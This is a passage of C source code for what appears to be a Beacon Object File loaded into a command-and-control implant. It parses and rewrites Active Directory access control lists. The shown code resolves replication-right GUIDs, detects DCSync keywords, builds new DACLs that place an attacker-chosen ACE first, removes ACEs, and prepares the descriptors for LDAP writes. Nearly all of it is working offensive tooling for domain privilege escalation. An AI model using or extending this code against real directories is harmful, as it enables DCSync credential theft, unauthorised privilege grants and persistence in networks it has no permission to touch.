RPC_S_OK);\n}\n\n// Convert GUID structure to string\nchar* GuidToString(GUID* guid) {\n    if (!guid) return NULL;\n    \n    RPC_CSTR guidStr = NULL;\n    if (RPCRT4$UuidToStringA(guid, &guidStr) != RPC_S_OK) {\n        return NULL;\n    }\n    \n    // Copy to our own buffer\n    size_t len = MSVCRT$strlen((char*)guidStr) + 1;\n    char* result = (char*)MSVCRT$malloc(len);\n    if (result) {\n        MSVCRT$strcpy(result, (char*)guidStr);\n    }\n    \n    // Free RPC string (using RpcStringFree would be proper, but LocalFree works)\n    KERNEL32$LocalFree(guidStr);\n    \n    return result;\n}\n\n// Get friendly name for well-known GUIDs\n// Always returns an allocated string that must be freed by the caller\nchar* GetGuidFriendlyName(GUID* guid) {\n    if (!guid) return NULL;\n    \n    char* guidStr = GuidToString(guid);\n    if (!guidStr) return NULL;\n    \n    // Check for well-known extended rights GUIDs\n    if (MSVCRT$strcmp(guidStr, \"00299570-246d-11d0-a768-00aa006e0529\") == 0) {\n        MSVCRT$free(guidStr);\n        char* name = (char*)MSVCRT$malloc(28);\n        if (name) MSVCRT$strcpy(name, \"User-Force-Change-Password\");\n        return name;\n    }\n    else if (MSVCRT$strcmp(guidStr, \"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2\") == 0) {\n        MSVCRT$free(guidStr);\n        char* name = (char*)MSVCRT$malloc(29);\n        if (name) MSVCRT$strcpy(name, \"DS-Replication-Get-Changes\");\n        return name;\n    }\n    else if (MSVCRT$strcmp(guidStr, \"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2\") == 0) {\n        MSVCRT$free(guidStr);\n        char* name = (char*)MSVCRT$malloc(33);\n        if (name) MSVCRT$strcpy(name, \"DS-Replication-Get-Changes-All\");\n        return name;\n    }\n    else if (MSVCRT$strcmp(guidStr, \"89e95b76-444d-4c62-991a-0facbeda640c\") == 0) {\n        MSVCRT$free(guidStr);\n        char* name = (char*)MSVCRT$malloc(38);\n        if (name) MSVCRT$strcpy(name, \"DS-Replication-Get-Changes-Filtered\");\n        return name;\n    }\n    else if (MSVCRT$strcmp(guidStr, \"91e647de-d96f-4b70-9557-d63ff4f3ccd8\") == 0) {\n        MSVCRT$free(guidStr);\n        char* name = (char*)MSVCRT$malloc(20);\n        if (name) MSVCRT$strcpy(name, \"Private-Information\");\n        return name;\n    }\n    \n    // Check for well-known object class GUIDs (InheritedObjectType)\n    else if (MSVCRT$strcmp(guidStr, \"bf967aba-0de6-11d0-a285-00aa003049e2\") == 0) {\n        MSVCRT$free(guidStr);\n        char* name = (char*)MSVCRT$malloc(5);\n        if (name) MSVCRT$strcpy(name, \"User\");\n        return name;\n    }\n    else if (MSVCRT$strcmp(guidStr, \"bf967a9c-0de6-11d0-a285-00aa003049e2\") == 0) {\n        MSVCRT$free(guidStr);\n        char* name = (char*)MSVCRT$malloc(6);\n        if (name) MSVCRT$strcpy(name, \"Group\");\n        return name;\n    }\n    else if (MSVCRT$strcmp(guidStr, \"bf967a86-0de6-11d0-a285-00aa003049e2\") == 0) {\n        MSVCRT$free(guidStr);\n        char* name = (char*)MSVCRT$malloc(9);\n        if (name) MSVCRT$strcpy(name, \"Computer\");\n        return name;\n    }\n    else if (MSVCRT$strcmp(guidStr, \"4828cc14-1437-45bc-9b07-ad6f015e5f28\") == 0) {\n        MSVCRT$free(guidStr);\n        char* name = (char*)MSVCRT$malloc(14);\n        if (name) MSVCRT$strcpy(name, \"inetOrgPerson\");\n        return name;\n    }\n    else if (MSVCRT$strcmp(guidStr, \"bf967aa5-0de6-11d0-a285-00aa003049e2\") == 0) {\n        MSVCRT$free(guidStr);\n        char* name = (char*)MSVCRT$malloc(19);\n        if (name) MSVCRT$strcpy(name, \"organizationalUnit\");\n        return name;\n    }\n    else if (MSVCRT$strcmp(guidStr, \"bf967aa8-0de6-11d0-a285-00aa003049e2\") == 0) {\n        MSVCRT$free(guidStr);\n        char* name = (char*)MSVCRT$malloc(11);\n        if (name) MSVCRT$strcpy(name, \"printQueue\");\n        return name;\n    }\n    else if (MSVCRT$strcmp(guidStr, \"bf967ab3-0de6-11d0-a285-00aa003049e2\") == 0) {\n        MSVCRT$free(guidStr);\n        char* name = (char*)MSVCRT$malloc(7);\n        if (name) MSVCRT$strcpy(name, \"volume\");\n        return name;\n    }\n    else if (MSVCRT$strcmp(guidStr, \"bf967a0a-0de6-11d0-a285-00aa003049e2\") == 0) {\n        MSVCRT$free(guidStr);\n        char* name = (char*)MSVCRT$malloc(11);\n        if (name) MSVCRT$strcpy(name, \"domainDNS\");\n        return name;\n    }\n    else if (MSVCRT$strcmp(guidStr, \"19195a5a-6da0-11d0-afd3-00c04fd930c9\") == 0) {\n        MSVCRT$free(guidStr);\n        char* name = (char*)MSVCRT$malloc(8);\n        if (name) MSVCRT$strcpy(name, \"contact\");\n        return name;\n    }\n    \n    // Return the GUID string itself if not recognized\n    return guidStr;\n}\n\n// ============================================================================\n// DISPLAY UTILITIES\n// ============================================================================\n\n// Print parsed security descriptor information\nvoid PrintSecurityDescriptorInfo(PSD_INFO sdInfo, const char* objectDN, const char* objectSid) {\n    if (!sdInfo) return;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] Security Descriptor Information:\\n=====================================\");\n    \n    // Owner\n    if (sdInfo->OwnerSid) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Owner: %s\", sdInfo->OwnerSid);\n        if (sdInfo->OwnerName) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"    Name: %s\", sdInfo->OwnerName);\n        }\n    }\n    \n    // Group\n    if (sdInfo->GroupSid) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Group: %s\", sdInfo->GroupSid);\n        if (sdInfo->GroupName) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"    Name: %s\", sdInfo->GroupName);\n        }\n    }\n    \n    // Control flags\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Control Flags: 0x%04x\", sdInfo->ControlFlags);\n    if (sdInfo->ControlFlags & SE_DACL_PROTECTED) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"    - DACL is protected (inheritance blocked)\");\n    }\n    if (sdInfo->ControlFlags & SE_SACL_PROTECTED) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"    - SACL is protected\");\n    }\n    \n    // DACL\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] DACL (Discretionary Access Control List):\");\n    if (!sdInfo->HasDacl) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"    No DACL present (NULL DACL - everyone has full access!)\");\n    } else if (sdInfo->DaclAceCount == 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"    Empty DACL (no one has access)\");\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"    %d ACE(s):\", sdInfo->DaclAceCount);\n        for (DWORD i = 0; i < sdInfo->DaclAceCount; i++) {\n            PrintAceInfo(&sdInfo->DaclAces[i], i, objectDN, objectSid);\n        }\n    }\n    \n    // SACL (if present)\n    if (sdInfo->HasSacl && sdInfo->SaclAceCount > 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] SACL (System Access Control List):\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"    %d ACE(s):\", sdInfo->SaclAceCount);\n        for (DWORD i = 0; i < sdInfo->SaclAceCount; i++) {\n            PrintAceInfo(&sdInfo->SaclAces[i], i, objectDN, objectSid);\n        }\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"=====================================\\n\");\n}\n\n// Print individual ACE information (PowerView format)\nvoid PrintAceInfo(PPARSED_ACE_INFO aceInfo, int index, const char* objectDN, const char* objectSid) {\n    if (!aceInfo) return;\n\n    // Print ACE number header\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n    ACE #%d:\", index);\n    \n    // ObjectDN\n    if (objectDN) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"      ObjectDN                : %s\", objectDN);\n    }\n    \n    // ObjectSID\n    if (objectSid) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"      ObjectSID               : %s\", objectSid);\n    }\n    \n    // ACEType\n    char* aceTypeStr = GetAceTypeString(aceInfo->AceType);\n    if (aceInfo->IsObjectAce) {\n        if (aceInfo->AceType == ACCESS_ALLOWED_OBJECT_ACE_TYPE) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"      ACEType                 : ACCESS_ALLOWED_OBJECT_ACE\");\n        } else if (aceInfo->AceType == ACCESS_DENIED_OBJECT_ACE_TYPE) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"      ACEType                 : ACCESS_DENIED_OBJECT_ACE\");\n        } else if (aceInfo->AceType == SYSTEM_AUDIT_OBJECT_ACE_TYPE) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"      ACEType                 : SYSTEM_AUDIT_OBJECT_ACE\");\n        }\n    } else {\n        if (aceInfo->AceType == ACCESS_ALLOWED_ACE_TYPE) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"      ACEType                 : ACCESS_ALLOWED_ACE\");\n        } else if (aceInfo->AceType == ACCESS_DENIED_ACE_TYPE) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"      ACEType                 : ACCESS_DENIED_ACE\");\n        } else if (aceInfo->AceType == SYSTEM_AUDIT_ACE_TYPE) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"      ACEType                 : SYSTEM_AUDIT_ACE\");\n        }\n    }\n    \n    // ACEFlags\n    char* aceFlagsStr = GetAceFlagsString(aceInfo->AceFlags);\n    BeaconPrintf(CALLBACK_OUTPUT, \"      ACEFlags                : %s\", aceFlagsStr);\n    \n    // ActiveDirectoryRights (friendly name for access mask)\n    char* accessMaskStr = GetAccessMaskString(aceInfo->Mask);\n    BeaconPrintf(CALLBACK_OUTPUT, \"      ActiveDirectoryRights   : %s\", accessMaskStr);\n    \n    // AccessMask (same as ActiveDirectoryRights for consistency)\n    BeaconPrintf(CALLBACK_OUTPUT, \"      AccessMask              : %s\", accessMaskStr);\n    \n    // ObjectAceFlags and ObjectAceType for object ACEs\n    if (aceInfo->IsObjectAce) {\n        // Print ObjectAceFlags once with all applicable flags\n        if (aceInfo->HasObjectType && aceInfo->HasInheritedObjectType) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"      ObjectAceFlags          : ACE_OBJECT_TYPE_PRESENT, ACE_INHERITED_OBJECT_TYPE_PRESENT\");\n        } else if (aceInfo->HasObjectType) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"      ObjectAceFlags          : ACE_OBJECT_TYPE_PRESENT\");\n        } else if (aceInfo->HasInheritedObjectType) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"      ObjectAceFlags          : ACE_INHERITED_OBJECT_TYPE_PRESENT\");\n        }\n        \n        // Print ObjectAceType if present\n        if (aceInfo->HasObjectType) {\n            char* guidName = GetGuidFriendlyName(&aceInfo->ObjectType);\n            if (guidName) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"      ObjectAceType           : %s\", guidName);\n                MSVCRT$free(guidName);\n            }\n        }\n        \n        // Print InheritedObjectType if present\n        if (aceInfo->HasInheritedObjectType) {\n            char* inheritGuidName = GetGuidFriendlyName(&aceInfo->InheritedObjectType);\n            if (inheritGuidName) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"      InheritedObjectType     : %s\", inheritGuidName);\n                MSVCRT$free(inheritGuidName);\n            }\n        }\n    }\n    \n    // InheritanceType (based on ACE flags)\n    char* inheritanceType = GetInheritanceTypeString(aceInfo->AceFlags);\n    BeaconPrintf(CALLBACK_OUTPUT, \"      InheritanceType         : %s\", inheritanceType);\n    \n    // SecurityIdentifier (trustee SID or name)\n    if (aceInfo->TrusteeName) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"      SecurityIdentifier      : %s\", aceInfo->TrusteeName);\n    } else if (aceInfo->TrusteeSid) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"      SecurityIdentifier      : %s\", aceInfo->TrusteeSid);\n    }\n}\n\n// ============================================================================\n// SPECIAL OPERATION HELPERS\n// ============================================================================\n\n// Check if a string contains a DCSync keyword\nBOOL IsDCSyncKeyword(const char* str) {\n    if (!str || MSVCRT$strlen(str) == 0) return FALSE;\n    \n    // Convert to lowercase for comparison\n    char buffer[256];\n    MSVCRT$strncpy(buffer, str, sizeof(buffer) - 1);\n    buffer[sizeof(buffer) - 1] = '\\0';\n    \n    char* p = buffer;\n    while (*p) {\n        if (*p >= 'A' && *p <= 'Z') {\n            *p = *p + ('a' - 'A');\n        }\n        p++;\n    }\n    \n    // Check for DCSync keywords\n    if (MSVCRT$strstr(buffer, \"dcsync\")) return TRUE;\n    if (MSVCRT$strstr(buffer, \"replication-get-changes\")) return TRUE;\n    \n    return FALSE;\n}\n\n// ============================================================================\n// ACL MODIFICATION UTILITIES\n// ============================================================================\n\n// Create a new DACL with an additional ACE\n// This function builds a completely new DACL by parsing the self-relative SD directly\n// and building a new DACL from scratch, rather than trying to copy from an absolute format\nPACL CreateNewDaclWithAce(PACL oldDacl, PSID trusteeSid, ACCESS_MASK accessMask, \n                          BYTE aceType, BYTE aceFlags, GUID* objectTypeGuid, GUID* inheritedObjectTypeGuid) {\n    if (!trusteeSid || !ADVAPI32$IsValidSid(trusteeSid)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Invalid trustee SID provided\");\n        return NULL;\n    }\n\n    DWORD oldAceCount = 0;\n    DWORD oldAclSize = 0;\n    \n    // Get information about the old DACL\n    if (oldDacl) {\n        ACL_SIZE_INFORMATION aclSizeInfo;\n        if (!ADVAPI32$GetAclInformation(oldDacl, &aclSizeInfo, sizeof(aclSizeInfo), AclSizeInformation)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get ACL information\");\n            return NULL;\n        }\n        oldAceCount = aclSizeInfo.AceCount;\n        oldAclSize = aclSizeInfo.AclBytesInUse;\n        \n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Old DACL: %d ACEs, %d bytes used\", oldAceCount, oldAclSize);\n    }\n\n    // Determine if we're creating an object ACE or standard ACE\n    BOOL isObjectAce = (objectTypeGuid != NULL || inheritedObjectTypeGuid != NULL);\n    DWORD sidLength = ADVAPI32$GetLengthSid(trusteeSid);\n    DWORD newAceSize = 0;\n\n    if (isObjectAce) {\n        // Object ACE structure size\n        newAceSize = sizeof(ACE_HEADER) + sizeof(ACCESS_MASK) + sizeof(DWORD); // Flags field\n        if (objectTypeGuid) {\n            newAceSize += sizeof(GUID);\n        }\n        if (inheritedObjectTypeGuid) {\n            newAceSize += sizeof(GUID);\n        }\n        newAceSize += sidLength;\n    } else {\n        // Standard ACE structure size\n        newAceSize = sizeof(ACE_HEADER) + sizeof(ACCESS_MASK) + sidLength;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] New ACE size: %d bytes (type: %s)\", \n                newAceSize, isObjectAce ? \"Object\" : \"Standard\");\n\n    // Calculate new DACL size with generous padding\n    // We need: old DACL size + new ACE + extra space for alignment and safety\n    DWORD newAclSize = oldAclSize + newAceSize + 256; // Increased padding for safety\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Allocating new DACL: %d bytes (old: %d + new ACE: %d + padding: 256)\", \n                newAclSize, oldAclSize, newAceSize);\n    \n    // Allocate new DACL\n    PACL newDacl = (PACL)MSVCRT$malloc(newAclSize);\n    if (!newDacl) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to allocate memory for new DACL\");\n        return NULL;\n    }\n\n    // Determine ACL revision based on old DACL contents\n    DWORD aclRevision = ACL_REVISION;\n    \n    // Check if old DACL contains object ACEs (Type 5, 6, 7) which require ACL_REVISION_DS\n    if (oldDacl && oldAceCount > 0) {\n        for (DWORD i = 0; i < oldAceCount; i++) {\n            PACE_HEADER pAce = NULL;\n            if (ADVAPI32$GetAce(oldDacl, i, (LPVOID*)&pAce)) {\n                if (pAce->AceType == ACCESS_ALLOWED_OBJECT_ACE_TYPE ||\n                    pAce->AceType == ACCESS_DENIED_OBJECT_ACE_TYPE ||\n                    pAce->AceType == SYSTEM_AUDIT_OBJECT_ACE_TYPE) {\n                    aclRevision = ACL_REVISION_DS;\n                    break;\n                }\n            }\n        }\n    }\n    \n    // Also use ACL_REVISION_DS if we're adding an object ACE\n    if (isObjectAce && aclRevision == ACL_REVISION) {\n        aclRevision = ACL_REVISION_DS;\n    }\n\n    // Initialize new DACL with appropriate revision\n    if (!ADVAPI32$InitializeAcl(newDacl, newAclSize, aclRevision)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize new DACL\");\n        MSVCRT$free(newDacl);\n        return NULL;\n    }\n\n    // Add the new ACE first (ACEs are evaluated in order, so we want our ACE to be checked first)\n    BOOL aceAdded = FALSE;\n    \n    if (isObjectAce) {\n        // Manually construct object ACE\n        BYTE* aceBuffer = (BYTE*)MSVCRT$malloc(newAceSize);\n        if (!aceBuffer) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to allocate ACE buffer\");\n            MSVCRT$free(newDacl);\n            return NULL;\n        }\n\n        PACE_HEADER pAceHeader = (PACE_HEADER)aceBuffer;\n        pAceHeader->AceType = aceType;\n        pAceHeader->AceFlags = aceFlags;\n        pAceHeader->AceSize = (WORD)newAceSize;\n\n        // Set access mask\n        ACCESS_MASK* pMask = (ACCESS_MASK*)(aceBuffer + sizeof(ACE_HEADER));\n        *pMask = accessMask;\n\n        // Set object flags\n        DWORD* pFlags = (DWORD*)(aceBuffer + sizeof(ACE_HEADER) + sizeof(ACCESS_MASK));\n        *pFlags = 0;\n        if (objectTypeGuid) *pFlags |= ACE_OBJECT_TYPE_PRESENT;\n        if (inheritedObjectTypeGuid) *pFlags |= ACE_INHERITED_OBJECT_TYPE_PRESENT;\n\n        // Copy GUIDs\n        BYTE* pCurrent = aceBuffer + sizeof(ACE_HEADER) + sizeof(ACCESS_MASK) + sizeof(DWORD);\n        if (objectTypeGuid) {\n            MSVCRT$memcpy(pCurrent, objectTypeGuid, sizeof(GUID));\n            pCurrent += sizeof(GUID);\n        }\n        if (inheritedObjectTypeGuid) {\n            MSVCRT$memcpy(pCurrent, inheritedObjectTypeGuid, sizeof(GUID));\n            pCurrent += sizeof(GUID);\n        }\n\n        // Copy SID\n        MSVCRT$memcpy(pCurrent, trusteeSid, sidLength);\n\n        // Add the ACE to the DACL (use detected revision)\n        aceAdded = ADVAPI32$AddAce(newDacl, aclRevision, MAXDWORD, aceBuffer, newAceSize);\n        MSVCRT$free(aceBuffer);\n\n        if (!aceAdded) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to add object ACE to DACL\");\n        }\n    } else {\n        // Standard ACE - use helper function (use detected revision)\n        if (aceType == ACCESS_ALLOWED_ACE_TYPE) {\n            aceAdded = ADVAPI32$AddAccessAllowedAceEx(newDacl, aclRevision, aceFlags, accessMask, trusteeSid);\n        } else if (aceType == ACCESS_DENIED_ACE_TYPE) {\n            aceAdded = ADVAPI32$AddAccessDeniedAceEx(newDacl, aclRevision, aceFlags, accessMask, trusteeSid);\n        }\n\n        if (!aceAdded) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to add standard ACE to DACL\");\n        }\n    }\n\n    if (!aceAdded) {\n        MSVCRT$free(newDacl);\n        return NULL;\n    }\n\n    // Now copy existing ACEs from old DACL by reading them as raw bytes\n    // This is the key fix: instead of using AddAce() which fails for complex object ACEs,\n    // we manually append the ACE data to the DACL buffer\n    if (oldDacl && oldAceCount > 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Copying %d existing ACEs...\", oldAceCount);\n        \n        DWORD successCount = 0;\n        DWORD failCount = 0;\n        \n        for (DWORD i = 0; i < oldAceCount; i++) {\n            PACE_HEADER pAce = NULL;\n            if (ADVAPI32$GetAce(oldDacl, i, (LPVOID*)&pAce)) {\n                // Try to add the ACE - AddAce copies the raw bytes (use detected revision)\n                if (ADVAPI32$AddAce(newDacl, aclRevision, MAXDWORD, pAce, pAce->AceSize)) {\n                    successCount++;\n                } else {\n                    BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to copy ACE #%d (Type: %d, Size: %d)\", \n                                i, pAce->AceType, pAce->AceSize);\n                    failCount++;\n                }\n            } else {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to retrieve ACE #%d\", i);\n                failCount++;\n            }\n        }\n        \n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] ACE copy results: %d successful, %d failed\", successCount, failCount);\n    }\n\n    // Verify the final ACE count\n    ACL_SIZE_INFORMATION finalAclInfo;\n    if (ADVAPI32$GetAclInformation(newDacl, &finalAclInfo, sizeof(finalAclInfo), AclSizeInformation)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully created new DACL with %d ACE(s) (1 new + %d copied)\", \n                    finalAclInfo.AceCount, finalAclInfo.AceCount - 1);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully created new DACL\");\n    }\n    \n    return newDacl;\n}\n\n// Create a new DACL without a specific ACE (by index)\nPACL CreateNewDaclWithoutAce(PACL oldDacl, DWORD aceIndexToRemove) {\n    if (!oldDacl) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] No DACL provided\");\n        return NULL;\n    }\n\n    ACL_SIZE_INFORMATION aclSizeInfo;\n    if (!ADVAPI32$GetAclInformation(oldDacl, &aclSizeInfo, sizeof(aclSizeInfo), AclSizeInformation)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get ACL information\");\n        return NULL;\n    }\n\n    if (aceIndexToRemove >= aclSizeInfo.AceCount) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] ACE index %d out of range (max: %d)\", aceIndexToRemove, aclSizeInfo.AceCount - 1);\n        return NULL;\n    }\n\n    // Get the size of the ACE we're removing\n    PACE_HEADER pAceToRemove = NULL;\n    if (!ADVAPI32$GetAce(oldDacl, aceIndexToRemove, (LPVOID*)&pAceToRemove)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get ACE to remove\");\n        return NULL;\n    }\n\n    // Calculate new DACL size (old size minus the ACE we're removing)\n    DWORD newAclSize = aclSizeInfo.AclBytesInUse - pAceToRemove->AceSize + sizeof(ACL);\n    \n    // Allocate new DACL\n    PACL newDacl = (PACL)MSVCRT$malloc(newAclSize);\n    if (!newDacl) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to allocate memory for new DACL\");\n        return NULL;\n    }\n\n    // Initialize new DACL\n    if (!ADVAPI32$InitializeAcl(newDacl, newAclSize, ACL_REVISION)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize new DACL\");\n        MSVCRT$free(newDacl);\n        return NULL;\n    }\n\n    // Copy all ACEs except the one we're removing\n    for (DWORD i = 0; i < aclSizeInfo.AceCount; i++) {\n        if (i == aceIndexToRemove) {\n            continue; // Skip this ACE\n        }\n\n        PACE_HEADER pAce = NULL;\n        if (ADVAPI32$GetAce(oldDacl, i, (LPVOID*)&pAce)) {\n            if (!ADVAPI32$AddAce(newDacl, ACL_REVISION, MAXDWORD, pAce, pAce->AceSize)) {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to copy ACE #%d\", i);\n                MSVCRT$free(newDacl);\n                return NULL;\n            }\n        }\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully created new DACL with ACE #%d removed\", aceIndexToRemove);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] New DACL has %d ACE(s)\", aclSizeInfo.AceCount - 1);\n    return newDacl;\n}\n\n// Create a new DACL without multiple specific ACEs (by indices)\nPACL CreateNewDaclWithoutAces(PACL oldDacl, DWORD* aceIndicesToRemove, DWORD removeCount) {\n    if (!oldDacl) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] No DACL provided\");\n        return NULL;\n    }\n    \n    if (!aceIndicesToRemove || removeCount == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] No ACE indices provided\");\n        return NULL;\n    }\n\n    ACL_SIZE_INFORMATION aclSizeInfo;\n    if (!ADVAPI32$GetAclInformation(oldDacl, &aclSizeInfo, sizeof(aclSizeInfo), AclSizeInformation)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get ACL information\");\n        return NULL;\n    }\n\n    // Validate all indices\n    for (DWORD i = 0; i < removeCount; i++) {\n        if (aceIndicesToRemove[i] >= aclSizeInfo.AceCount) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] ACE index %d out of range (max: %d)\", \n                        aceIndicesToRemove[i], aclSizeInfo.AceCount - 1);\n            return NULL;\n        }\n    }\n\n    // Calculate total size of ACEs to remove\n    DWORD totalRemoveSize = 0;\n    for (DWORD i = 0; i < removeCount; i++) {\n        PACE_HEADER pAce = NULL;\n        if (ADVAPI32$GetAce(oldDacl, aceIndicesToRemove[i], (LPVOID*)&pAce)) {\n            totalRemoveSize += pAce->AceSize;\n        }\n    }\n\n    // Calculate new DACL size\n    DWORD newAclSize = aclSizeInfo.AclBytesInUse - totalRemoveSize + sizeof(ACL) + 256; // Extra padding\n    \n    // Allocate new DACL\n    PACL newDacl = (PACL)MSVCRT$malloc(newAclSize);\n    if (!newDacl) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to allocate memory for new DACL\");\n        return NULL;\n    }\n\n    // Determine ACL revision based on old DACL\n    DWORD aclRevision = ACL_REVISION;\n    \n    // Check if old DACL contains object ACEs (which require ACL_REVISION_DS)\n    for (DWORD i = 0; i < aclSizeInfo.AceCount; i++) {\n        PACE_HEADER pAce = NULL;\n        if (ADVAPI32$GetAce(oldDacl, i, (LPVOID*)&pAce)) {\n            if (pAce->AceType == ACCESS_ALLOWED_OBJECT_ACE_TYPE ||\n                pAce->AceType == ACCESS_DENIED_OBJECT_ACE_TYPE ||\n                pAce->AceType == SYSTEM_AUDIT_OBJECT_ACE_TYPE) {\n                aclRevision = ACL_REVISION_DS;\n                break;\n            }\n        }\n    }\n\n    // Initialize new DACL with appropriate revision\n    if (!ADVAPI32$InitializeAcl(newDacl, newAclSize, aclRevision)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize new DACL\");\n        MSVCRT$free(newDacl);\n        return NULL;\n    }\n\n    // Copy all ACEs except the ones we're removing\n    DWORD copiedCount = 0;\n    for (DWORD i = 0; i < aclSizeInfo.AceCount; i++) {\n        // Check if this index should be removed\n        BOOL shouldRemove = FALSE;\n        for (DWORD j = 0; j < removeCount; j++) {\n            if (aceIndicesToRemove[j] == i) {\n                shouldRemove = TRUE;\n                break;\n            }\n        }\n        \n        if (shouldRemove) {\n            continue; // Skip this ACE\n        }\n\n        PACE_HEADER pAce = NULL;\n        if (ADVAPI32$GetAce(oldDacl, i, (LPVOID*)&pAce)) {\n            if (!ADVAPI32$AddAce(newDacl, aclRevision, MAXDWORD, pAce, pAce->AceSize)) {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to copy ACE #%d\", i);\n                MSVCRT$free(newDacl);\n                return NULL;\n            }\n            copiedCount++;\n        }\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Removed %d ACE(s), kept %d ACE(s)\", removeCount, copiedCount);\n    return newDacl;\n}\n\n\n// Convert security descriptor to BERVAL for LDAP\nBERVAL* ConvertSecurityDescriptorToBerval(PSECURITY_DESCRIPTOR pSD) {\n    if (!pSD) return NULL;\n\n    // First, get the size needed for self-relative format\n    DWORD sdSize = 0;\n    ADVAPI32$MakeSelfRelativeSD(pSD, NULL, &sdSize);\n    \n    if (sdSize == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get security descriptor size\");\n        return NULL;\n    }\n\n    // Allocate buffer for self-relative SD\n    BYTE* selfRelativeSD = (BYTE*)MSVCRT$malloc(sdSize);\n    if (!selfRelativeSD) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to allocate memory for self-relative SD\");\n        return NULL;\n    }\n\n    // Convert to self-relative format\n    if (!ADVAPI32$MakeSelfRelativeSD(pSD, (PSECURITY_DESCRIPTOR)selfRelativeSD, &sdSize)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to convert security descriptor to self-relative format\");\n        MSVCRT$free(selfRelativeSD);\n        return NULL;\n    }\n\n    // Create BERVAL\n    BERVAL* sdBerval = (BERVAL*)MSVCRT$malloc(sizeof(BERVAL));\n    if (!sdBerval) {\n        MSVCRT$free(selfRelativeSD);\n        return NULL;\n    }\n\n    sdBerval->bv_len = sdSize;\n    sdBerval->bv_val = (char*)selfRelativeSD;\n\n    return sdBerval;\n}\n\n// Convert BERVAL to absolute security descriptor (for modification)\nPSECURITY_DESCRIPTOR ConvertBervalToSecurityDescriptor(BERVAL* sdBerval) {\n    if (!sdBerval || !sdBerval->bv_val) return NULL;\n\n    // The BERVAL contains a self-relative security descriptor\n    // We need to convert it to absolute format for modification\n    \n    PSECURITY_DESCRIPTOR pSelfRelativeSD = (PSECURITY_DESCRIPTOR)sdBerval->bv_val;\n    \n    // Get required buffer sizes\n    DWORD absSDSize = 0, daclSize = 0, saclSize = 0, ownerSize = 0, groupSize = 0;\n    \n    ADVAPI32$MakeAbsoluteSD(pSelfRelativeSD, NULL, &absSDSize, NULL, &daclSize, \n                            NULL, &saclSize, NULL, &ownerSize, NULL, &groupSize);\n\n    // Allocate buffers\n    PSECURITY_DESCRIPTOR pAbsoluteSD = (PSECURITY_DESCRIPTOR)MSVCRT$malloc(absSDSize);\n    PACL pDacl = (PACL)MSVCRT$malloc(daclSize);\n    PACL pSacl = (PACL)MSVCRT$malloc(saclSize);\n    PSID pOwner = (PSID)MSVCRT$malloc(ownerSize);\n    PSID 